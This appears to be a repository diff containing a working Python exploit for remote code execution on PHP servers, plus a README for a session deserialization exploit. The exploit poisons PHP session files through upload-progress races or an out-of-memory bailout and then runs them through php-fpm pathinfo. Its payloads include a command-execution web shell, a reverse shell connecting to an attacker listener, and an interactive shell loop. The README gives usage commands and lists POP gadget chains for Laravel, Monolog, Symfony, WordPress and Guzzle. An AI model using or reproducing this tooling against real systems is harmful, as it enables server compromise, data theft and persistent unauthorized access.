from urllib.parse import urlparse
|
||||||
|
p = urlparse(url)
|
||||||
|
tls = p.scheme == "https"
|
||||||
|
host = p.hostname or "127.0.0.1"
|
||||||
|
port = p.port or (443 if tls else 80)
|
||||||
|
path = p.path or "/"
|
||||||
|
if p.query:
|
||||||
|
path += "?" + p.query
|
||||||
|
return host, port, tls, path
|
||||||
|
|
||||||
|
|
||||||
|
def _connect(host, port, tls, timeout=10):
|
||||||
|
sock = socket.create_connection((host, port), timeout=timeout)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
|
||||||
|
def _recv_response(sock, timeout=5):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
chunk = sock.recv(8192)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
resp += chunk
|
||||||
|
if b"\r\n\r\n" in resp:
|
||||||
|
hdr_end = resp.index(b"\r\n\r\n") + 4
|
||||||
|
m = re.search(rb"Content-Length:\s*(\d+)", resp[:hdr_end], re.I)
|
||||||
|
if m:
|
||||||
|
cl = int(m.group(1))
|
||||||
|
while len(resp) - hdr_end < cl:
|
||||||
|
more = sock.recv(8192)
|
||||||
|
if not more:
|
||||||
|
break
|
||||||
|
resp += more
|
||||||
|
break
|
||||||
|
if b"transfer-encoding: chunked" in resp[:hdr_end].lower():
|
||||||
|
if b"\r\n0\r\n" in resp[hdr_end:]:
|
||||||
|
break
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def _decode_chunked(data):
|
||||||
|
out = b""
|
||||||
|
while data:
|
||||||
|
line_end = data.find(b"\r\n")
|
||||||
|
if line_end < 0:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
n = int(data[:line_end].split(b";")[0].strip(), 16)
|
||||||
|
except ValueError:
|
||||||
|
break
|
||||||
|
if n == 0:
|
||||||
|
break
|
||||||
|
out += data[line_end + 2:line_end + 2 + n]
|
||||||
|
data = data[line_end + 2 + n + 2:]
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def _body_of(resp):
|
||||||
|
if b"\r\n\r\n" not in resp:
|
||||||
|
return b""
|
||||||
|
headers, body = resp.split(b"\r\n\r\n", 1)
|
||||||
|
if b"transfer-encoding: chunked" in headers.lower():
|
||||||
|
return _decode_chunked(body)
|
||||||
|
return body
|
||||||
|
|
||||||
|
|
||||||
|
def _status_of(resp):
|
||||||
|
try:
|
||||||
|
return int(resp.split(b" ")[1])
|
||||||
|
except (IndexError, ValueError):
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def _get(host, port, tls, path, cookie=None, timeout=5, keepalive=False):
|
||||||
|
sock = _connect(host, port, tls)
|
||||||
|
req = b"GET " + path.encode() + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\n"
|
||||||
|
if cookie:
|
||||||
|
req += b"Cookie: " + cookie.encode() + b"\r\n"
|
||||||
|
req += b"Connection: close\r\n\r\n"
|
||||||
|
sock.sendall(req)
|
||||||
|
resp = _recv_response(sock, timeout)
|
||||||
|
sock.close()
|
||||||
|
return _status_of(resp), _body_of(resp)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Multipart slow upload (keeps the poisoned session file on disk)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def slow_poison_upload(host, port, tls, path, sid, php_code, fill=6 << 20,
|
||||||
|
drip=0.01, result=None):
|
||||||
|
boundary = b"----NOLFI" + os.urandom(6).hex().encode()
|
||||||
|
head = (
|
||||||
|
b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||||
|
b"\r\n" + php_code + b"\r\n"
|
||||||
|
b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||||
|
)
|
||||||
|
tail = b"\r\n--" + boundary + b"--\r\n"
|
||||||
|
total = len(head) + fill + len(tail)
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock = _connect(host, port, tls, timeout=60)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
|
||||||
|
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n" + head
|
||||||
|
)
|
||||||
|
block = b"\x00" * 65000
|
||||||
|
for _ in range(fill // len(block)):
|
||||||
|
sock.sendall(block)
|
||||||
|
time.sleep(drip)
|
||||||
|
sock.sendall(tail)
|
||||||
|
_recv_response(sock, timeout=5)
|
||||||
|
sock.close()
|
||||||
|
except OSError as e:
|
||||||
|
if result is not None:
|
||||||
|
result["error"] = str(e)
|
||||||
|
|
||||||
|
|
||||||
|
def oom_poison_upload(host, port, tls, path, sid, php_code, fields=30000,
|
||||||
|
fsize=512, result=None):
|
||||||
|
"""CVE-2026-109618 OOM variant: progress + file part + field flood.
|
||||||
|
|
||||||
|
The OOM bailout longjmps past MULTIPART_EVENT_END, so cleanup never
|
||||||
|
runs and the poisoned session file persists. Requires the OOM body
|
||||||
|
to fit under post_max_size while exceeding memory_limit headroom.
|
||||||
|
"""
|
||||||
|
boundary = b"----NOLFIOOM" + os.urandom(6).hex().encode()
|
||||||
|
|
||||||
|
def field(name, value):
|
||||||
|
return (b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
|
||||||
|
+ value + b"\r\n")
|
||||||
|
|
||||||
|
def file_part():
|
||||||
|
return (b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||||
|
+ b"\x00" * 2048 + b"\r\n")
|
||||||
|
|
||||||
|
def chunk(sock, data):
|
||||||
|
sock.sendall(hex(len(data))[2:].encode() + b"\r\n" + data + b"\r\n")
|
||||||
|
|
||||||
|
sent = 0
|
||||||
|
try:
|
||||||
|
sock = _connect(host, port, tls, timeout=60)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
|
||||||
|
b"Transfer-Encoding: chunked\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
chunk(sock, field(b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
|
||||||
|
chunk(sock, file_part())
|
||||||
|
batch = b""
|
||||||
|
for i in range(fields):
|
||||||
|
batch += field(f"p{i:06d}".encode(), b"X" * fsize)
|
||||||
|
if len(batch) >= 256 * 1024:
|
||||||
|
chunk(sock, batch)
|
||||||
|
sent = i
|
||||||
|
batch = b""
|
||||||
|
if batch:
|
||||||
|
chunk(sock, batch)
|
||||||
|
try:
|
||||||
|
sock.sendall(b"0\r\n\r\n")
|
||||||
|
_recv_response(sock, timeout=8)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
except OSError as e:
|
||||||
|
if result is not None:
|
||||||
|
result["error"] = str(e)
|
||||||
|
if result is not None:
|
||||||
|
result["fields_sent"] = sent
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Payloads
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def cmd_payload():
|
||||||
|
return f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
|
||||||
|
|
||||||
|
|
||||||
|
def reverse_shell_payload(lhost, lport):
|
||||||
|
code = (
|
||||||
|
f'$s=fsockopen("{lhost}",{lport});'
|
||||||
|
f'proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);'
|
||||||
|
)
|
||||||
|
return f'<?php echo "{MARKER}:"; {code} ?>'.encode()
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Chain: poison -> probe served dir -> pathinfo execution
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def attempt_prefix(host, port, tls, path, url_prefix, php_code, window,
|
||||||
|
fill=1 << 25, verbose=True, oom=False, fields=30000,
|
||||||
|
fsize=512):
|
||||||
|
"""One attempt against one URL prefix. Returns
|
||||||
|
("rce", sid, url, text) | ("served", sid, url, None) | None."""
|
||||||
|
sid = "".join(chr(97 + (os.urandom(1)[0] % 26)) for _ in range(8)) + \
|
||||||
|
os.urandom(12).hex()
|
||||||
|
sess_url = f"{url_prefix}/sess_{sid}"
|
||||||
|
cookie = f"PHPSESSID={sid}"
|
||||||
|
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
|
||||||
|
|
||||||
|
if oom:
|
||||||
|
result = {}
|
||||||
|
if verbose:
|
||||||
|
print(f" [*] OOM poisoning {sess_url} ...")
|
||||||
|
oom_poison_upload(host, port, tls, path, sid, php_code,
|
||||||
|
fields=fields, fsize=fsize, result=result)
|
||||||
|
time.sleep(1.0)
|
||||||
|
saw_static = False
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url, cookie=None,
|
||||||
|
timeout=5)
|
||||||
|
if status == 200 and b"upload_progress_" in body:
|
||||||
|
saw_static = True
|
||||||
|
if verbose:
|
||||||
|
print(f" [+] {sess_url} web-served, file persisted "
|
||||||
|
f"(OOM bailout skipped cleanup)")
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
if saw_static:
|
||||||
|
for path_info in exec_vectors:
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url + path_info,
|
||||||
|
timeout=6)
|
||||||
|
text = body.decode(errors="replace")
|
||||||
|
if MARKER in text:
|
||||||
|
return ("rce", sid, sess_url + path_info, text)
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
return ("served", sid, sess_url, None)
|
||||||
|
if verbose and result.get("error"):
|
||||||
|
print(f" [!] upload error: {result['error']}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
result = {}
|
||||||
|
t = threading.Thread(target=slow_poison_upload,
|
||||||
|
args=(host, port, tls, path, sid, php_code),
|
||||||
|
kwargs={"result": result, "fill": fill}, daemon=True)
|
||||||
|
t.start()
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
deadline = time.time() + window
|
||||||
|
saw_static = False
|
||||||
|
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
|
||||||
|
while time.time() < deadline:
|
||||||
|
# execution vectors first, raced against the (possibly tiny) window
|
||||||
|
for path_info in exec_vectors:
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url + path_info,
|
||||||
|
timeout=3)
|
||||||
|
text = body.decode(errors="replace")
|
||||||
|
if MARKER in text:
|
||||||
|
return ("rce", sid, sess_url + path_info, text)
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
# static: served-dir detection (source disclosure of the session file)
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url, cookie=None,
|
||||||
|
timeout=3)
|
||||||
|
if status == 200 and b"upload_progress_" in body:
|
||||||
|
saw_static = True
|
||||||
|
if verbose:
|
||||||
|
print(f" [+] {sess_url} is web-served "
|
||||||
|
f"(session file source disclosed)")
|
||||||
|
break
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
time.sleep(0.005)
|
||||||
|
|
||||||
|
t.join(timeout=3)
|
||||||
|
|
||||||
|
# post-window calm checks: streaming stacks with cleanup=0 keep the file
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3)
|
||||||
|
if status == 200 and b"upload_progress_" in body:
|
||||||
|
saw_static = True
|
||||||
|
if verbose:
|
||||||
|
print(f" [+] {sess_url} is web-served (file persisted "
|
||||||
|
f"after upload: cleanup=0)")
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if saw_static:
|
||||||
|
for path_info in exec_vectors:
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url + path_info,
|
||||||
|
timeout=4)
|
||||||
|
text = body.decode(errors="replace")
|
||||||
|
if MARKER in text:
|
||||||
|
return ("rce", sid, sess_url + path_info, text)
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if saw_static:
|
||||||
|
return ("served", sid, sess_url, None)
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def run_cmd(host, port, tls, path, url_prefix, sid, cmd, oom=False,
|
||||||
|
fields=30000, fsize=512):
|
||||||
|
"""Re-poison the same SID and execute a command during the window."""
|
||||||
|
sess_url = f"{url_prefix}/sess_{sid}"
|
||||||
|
payload = f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
|
||||||
|
hit = {}
|
||||||
|
lock = threading.Lock()
|
||||||
|
|
||||||
|
def poll(pi):
|
||||||
|
while True:
|
||||||
|
if stop.is_set():
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls,
|
||||||
|
sess_url + pi + "?c=" + cmd.replace(" ", "+"),
|
||||||
|
timeout=6)
|
||||||
|
text = body.decode(errors="replace")
|
||||||
|
if MARKER in text:
|
||||||
|
with lock:
|
||||||
|
if "out" not in hit:
|
||||||
|
out = text.split(MARKER + ":", 1)[1]
|
||||||
|
hit["out"] = out.split(
|
||||||
|
'|a:5:{s:10:"start_time"', 1)[0]
|
||||||
|
stop.set()
|
||||||
|
return
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if oom:
|
||||||
|
result = {}
|
||||||
|
oom_poison_upload(host, port, tls, path, sid, payload,
|
||||||
|
fields=fields, fsize=fsize, result=result)
|
||||||
|
stop = threading.Event()
|
||||||
|
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
|
||||||
|
for pi in ("/x.php", "/index.php")]
|
||||||
|
for th in threads:
|
||||||
|
th.start()
|
||||||
|
for th in threads:
|
||||||
|
th.join(timeout=10)
|
||||||
|
return hit.get("out")
|
||||||
|
|
||||||
|
result = {}
|
||||||
|
for cycle in range(3 if not oom else 1):
|
||||||
|
t = threading.Thread(target=slow_poison_upload,
|
||||||
|
args=(host, port, tls, path, sid, payload),
|
||||||
|
kwargs={"result": result}, daemon=True)
|
||||||
|
t.start()
|
||||||
|
time.sleep(0.3)
|
||||||
|
stop = threading.Event()
|
||||||
|
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
|
||||||
|
for pi in ("/x.php", "/index.php", "/a.phar", "/x.phtml")]
|
||||||
|
for th in threads:
|
||||||
|
th.start()
|
||||||
|
grace = None
|
||||||
|
while True:
|
||||||
|
if stop.is_set():
|
||||||
|
break
|
||||||
|
if not t.is_alive():
|
||||||
|
if grace is None:
|
||||||
|
grace = time.time() + 1.5
|
||||||
|
elif time.time() > grace:
|
||||||
|
break
|
||||||
|
time.sleep(0.002)
|
||||||
|
stop.set()
|
||||||
|
for th in threads:
|
||||||
|
th.join(timeout=3)
|
||||||
|
if "out" in hit:
|
||||||
|
return hit["out"]
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Main
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def main():
|
||||||
|
p = argparse.ArgumentParser(
|
||||||
|
description="CVE-2026-109618/109619: RCE without LFI "
|
||||||
|
"(web-served session.save_path + php-fpm pathinfo)",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
Examples:
|
||||||
|
%(prog)s -t http://target/ --probe
|
||||||
|
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||||
|
%(prog)s -t http://target/ --url-prefix /sessions --lhost 10.0.0.1 --lport 4444
|
||||||
|
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' --window 20
|
||||||
|
""")
|
||||||
|
p.add_argument("--target", "-t", required=True,
|
||||||
|
help="Target base URL (any PHP-handled URL on the vhost, "
|
||||||
|
"404 is fine)")
|
||||||
|
p.add_argument("--url-prefix", default="",
|
||||||
|
help="URL prefix that serves session.save_path "
|
||||||
|
"(e.g. /sessions). Probes defaults if omitted")
|
||||||
|
p.add_argument("--cmd", help="Command to execute")
|
||||||
|
p.add_argument("--lhost", help="Listener IP for reverse shell")
|
||||||
|
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
|
||||||
|
p.add_argument("--window", type=float, default=12.0,
|
||||||
|
help="Upload race window in seconds (default 12)")
|
||||||
|
p.add_argument("--fill", type=int, default=6, help="Upload filler size "
|
||||||
|
"in MB; must stay under the target post_max_size (default "
|
||||||
|
"6MB, PHP default post_max_size is 8M)")
|
||||||
|
p.add_argument("--probe", action="store_true",
|
||||||
|
help="Only classify the target, do not attack")
|
||||||
|
p.add_argument("--oom", action="store_true",
|
||||||
|
help="Use the CVE-2026-109618 OOM bailout for "
|
||||||
|
"persistence instead of racing the upload window "
|
||||||
|
"(requires post_max_size > OOM volume and memory "
|
||||||
|
"headroom)")
|
||||||
|
p.add_argument("--fields", type=int, default=30000,
|
||||||
|
help="OOM pressure fields (default 30000)")
|
||||||
|
p.add_argument("--fsize", type=int, default=512,
|
||||||
|
help="OOM field size in bytes (default 512)")
|
||||||
|
p.add_argument("--attempts", type=int, default=3)
|
||||||
|
args = p.parse_args()
|
||||||
|
|
||||||
|
host, port, tls, path = _parse_url(args.target)
|
||||||
|
scheme = "https" if tls else "http"
|
||||||
|
|
||||||
|
print(f"[*] RCE without LFI — served save_path + fpm pathinfo")
|
||||||
|
print(f"[*] Target: {args.target}")
|
||||||
|
|
||||||
|
prefixes = [args.url_prefix] if args.url_prefix else list(DEFAULT_URL_PREFIXES)
|
||||||
|
fill = args.fill * (1 << 20)
|
||||||
|
if args.probe:
|
||||||
|
php_code = cmd_payload()
|
||||||
|
print(f"[*] Probing {len(prefixes)} candidate URL prefixes "
|
||||||
|
f"(web-served session dir detection)")
|
||||||
|
for prefix in prefixes:
|
||||||
|
r = attempt_prefix(host, port, tls, path, prefix, php_code,
|
||||||
|
window=args.window, fill=fill, verbose=True,
|
||||||
|
oom=args.oom, fields=args.fields,
|
||||||
|
fsize=args.fsize)
|
||||||
|
if r is None:
|
||||||
|
print(f" [-] {prefix}: not served")
|
||||||
|
else:
|
||||||
|
kind, sid, url, text = r
|
||||||
|
if kind == "rce":
|
||||||
|
print(f" [++] {prefix}: EXECUTABLE — {url}")
|
||||||
|
else:
|
||||||
|
print(f" [+] {prefix}: served, not executable "
|
||||||
|
f"(limit_extensions default or non-fpm engine)")
|
||||||
|
return
|
||||||
|
|
||||||
|
if not args.cmd and not (args.lhost and args.lport):
|
||||||
|
print("[!] Specify --probe, --cmd, or --lhost/--lport")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
php_code = (cmd_payload() if args.cmd
|
||||||
|
else reverse_shell_payload(args.lhost, args.lport))
|
||||||
|
if args.oom:
|
||||||
|
print(f"[*] Mode: OOM persistence ({args.fields} x {args.fsize}B "
|
||||||
|
f"fields)")
|
||||||
|
else:
|
||||||
|
print(f"[*] Race window: {args.window}s per prefix, "
|
||||||
|
f"{len(prefixes)} prefixes")
|
||||||
|
|
||||||
|
for attempt in range(1, args.attempts + 1):
|
||||||
|
for prefix in prefixes:
|
||||||
|
print(f"[*] Attempt {attempt}/{args.attempts} "
|
||||||
|
f"against {prefix} ...")
|
||||||
|
r = attempt_prefix(host, port, tls, path, prefix, php_code,
|
||||||
|
window=args.window, fill=fill, verbose=True,
|
||||||
|
oom=args.oom, fields=args.fields,
|
||||||
|
fsize=args.fsize)
|
||||||
|
if r is None:
|
||||||
|
continue
|
||||||
|
kind, sid, url, text = r
|
||||||
|
if kind == "rce":
|
||||||
|
print(f"\n[+] RCE CONFIRMED (no LFI): {url}")
|
||||||
|
if args.cmd:
|
||||||
|
out = run_cmd(host, port, tls, path, prefix, sid,
|
||||||
|
args.cmd, oom=args.oom, fields=args.fields,
|
||||||
|
fsize=args.fsize)
|
||||||
|
print(f"[+] {args.cmd}\n{out}" if out is not None
|
||||||
|
else "[!] exec failed (race lost, retry)")
|
||||||
|
else:
|
||||||
|
print(f"[*] Reverse shell payload executed — check "
|
||||||
|
f"listener on {args.lhost}:{args.lport}")
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
c = input("shell> ").strip()
|
||||||
|
except EOFError:
|
||||||
|
break
|
||||||
|
if not c:
|
||||||
|
continue
|
||||||
|
out = run_cmd(host, port, tls, path, prefix, sid, c,
|
||||||
|
oom=args.oom, fields=args.fields,
|
||||||
|
fsize=args.fsize)
|
||||||
|
print(out if out is not None else "[!] exec failed")
|
||||||
|
return
|
||||||
|
print(f" [+] {prefix}: served but not executable "
|
||||||
|
f"(session source disclosure only)")
|
||||||
|
print("[!] No executable prefix found. Precondition likely missing: "
|
||||||
|
"save_path not web-served, or security.limit_extensions is set.")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
vendor/
|
||||||
|
__pycache__/
|
||||||
|
composer.lock
|
||||||
@@ -0,0 +1,237 @@
|
|||||||
|
# Session Deserialization RCE via Handler Mismatch
|
||||||
|
|
||||||
|
Remote code execution through PHP's `session.serialize_handler` mismatch.
|
||||||
|
No LFI required. No FPM dependency. Works on any SAPI.
|
||||||
|
|
||||||
|
## How It Works
|
||||||
|
|
||||||
|
PHP supports multiple session serialization formats. The two relevant ones:
|
||||||
|
|
||||||
|
- `php` (the default): stores session data as `key|serialized_value`
|
||||||
|
- `php_serialize`: stores session data as a single `serialize()`d array
|
||||||
|
|
||||||
|
When one endpoint writes session data using `php_serialize` and another
|
||||||
|
reads it using the `php` handler, the pipe character `|` inside a
|
||||||
|
serialized string is misinterpreted as a key/value delimiter. This causes
|
||||||
|
PHP to call `unserialize()` on attacker-controlled data when
|
||||||
|
`session_start()` runs on the second endpoint.
|
||||||
|
|
||||||
|
### Attack flow
|
||||||
|
|
||||||
|
```
|
||||||
|
1. Attacker POSTs to endpoint A (php_serialize handler):
|
||||||
|
data = |O:28:"Monolog\Handler\GroupHandler":1:{...}
|
||||||
|
|
||||||
|
2. PHP stores this in the session file as:
|
||||||
|
a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}
|
||||||
|
|
||||||
|
3. Attacker GETs endpoint B (php handler) with the same session ID.
|
||||||
|
session_start() reads the file and splits on |:
|
||||||
|
key = a:1:{s:4:"data";s:550:"
|
||||||
|
value = O:28:"Monolog\Handler\GroupHandler":1:{...}
|
||||||
|
PHP calls unserialize() on the value.
|
||||||
|
|
||||||
|
4. The deserialized object's __destruct method fires,
|
||||||
|
triggering the POP gadget chain for RCE.
|
||||||
|
```
|
||||||
|
|
||||||
|
### What makes a target vulnerable
|
||||||
|
|
||||||
|
The exploit requires ALL of the following:
|
||||||
|
|
||||||
|
1. **Two endpoints with different session serialize handlers.** One must use
|
||||||
|
`php_serialize`, the other must use the default `php`. PHP's own default
|
||||||
|
is `php` for both, so this mismatch only occurs when a framework or
|
||||||
|
application explicitly changes the handler for some endpoints.
|
||||||
|
|
||||||
|
2. **Shared session storage.** Both endpoints must read/write the same
|
||||||
|
session files (same `session.save_path`). This is the default when
|
||||||
|
both run under the same PHP installation.
|
||||||
|
|
||||||
|
3. **A POP gadget chain in autoloaded classes.** The deserialized objects
|
||||||
|
must exist in classes that PHP has loaded (via autoloader or require).
|
||||||
|
The chain must reach a dangerous sink (system(), file_put_contents(), etc.)
|
||||||
|
through magic methods (__destruct, __wakeup, __toString, etc.).
|
||||||
|
|
||||||
|
### Where this mismatch occurs in practice
|
||||||
|
|
||||||
|
- **Laravel** sets `session.serialize_handler = php_serialize` in its
|
||||||
|
session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin,
|
||||||
|
admin scripts, health checks, legacy code) uses the PHP default `php`.
|
||||||
|
|
||||||
|
- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent
|
||||||
|
applications on the same server may not.
|
||||||
|
|
||||||
|
- **Shared hosting** where multiple PHP applications share the same session
|
||||||
|
save path but use different frameworks.
|
||||||
|
|
||||||
|
- **Mixed codebases** where old and new code coexist on the same domain,
|
||||||
|
with the new code using a framework and the old code using raw PHP sessions.
|
||||||
|
|
||||||
|
A single-application deployment where every endpoint uses the same handler
|
||||||
|
is NOT vulnerable to this attack.
|
||||||
|
|
||||||
|
## Injection Modes
|
||||||
|
|
||||||
|
### inject (primary)
|
||||||
|
|
||||||
|
The target has an endpoint that stores POST data into `$_SESSION` using
|
||||||
|
the `php_serialize` handler. The attacker sends `|<serialized_chain>` as
|
||||||
|
a POST value. A second request to a `php`-handler endpoint triggers
|
||||||
|
deserialization.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \
|
||||||
|
--inject-param data \
|
||||||
|
--trigger-url http://target/view.php \
|
||||||
|
--chain laravel10-cmd --cmd 'id'
|
||||||
|
```
|
||||||
|
|
||||||
|
### progress (no app session storage needed)
|
||||||
|
|
||||||
|
Uses `session.upload_progress` to inject the `|` character via the upload
|
||||||
|
filename field. No application-level session writing needed. Combined with
|
||||||
|
the OOM crash from CVE-2026-109618 to persist past cleanup.
|
||||||
|
|
||||||
|
Limitation: multipart filenames cannot contain NULL bytes, so the POP chain
|
||||||
|
can only use public properties (no protected/private property serialization).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 exploit.py --mode progress \
|
||||||
|
--write-url http://target/any.php \
|
||||||
|
--trigger-url http://target/default.php \
|
||||||
|
--chain wordpress-cmd --cmd 'id'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Built-in POP Chains
|
||||||
|
|
||||||
|
Each chain is tested end-to-end through the full HTTP exploit flow
|
||||||
|
on PHP 8.3 against the listed library version.
|
||||||
|
|
||||||
|
### Current versions (work on latest releases)
|
||||||
|
|
||||||
|
| Chain | Library | Tested on | Type | Description |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents |
|
||||||
|
| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() |
|
||||||
|
| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") |
|
||||||
|
|
||||||
|
### Legacy versions
|
||||||
|
|
||||||
|
| Chain | Library | Tested on | Type | Description |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() |
|
||||||
|
| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") |
|
||||||
|
| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() |
|
||||||
|
| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") |
|
||||||
|
| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) |
|
||||||
|
| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") |
|
||||||
|
| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") |
|
||||||
|
| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) |
|
||||||
|
| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") |
|
||||||
|
|
||||||
|
### Why some chains have version ceilings
|
||||||
|
|
||||||
|
- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x
|
||||||
|
RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties.
|
||||||
|
The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead.
|
||||||
|
|
||||||
|
- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners
|
||||||
|
in `createClassListener()`, which calls `$this->container->make()` on a null
|
||||||
|
container. The RCE22 chain routes through `league/commonmark` `Environment`
|
||||||
|
instead.
|
||||||
|
|
||||||
|
- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws
|
||||||
|
`LogicException` on deserialization.
|
||||||
|
|
||||||
|
- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws
|
||||||
|
`BadMethodCallException`.
|
||||||
|
|
||||||
|
- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws
|
||||||
|
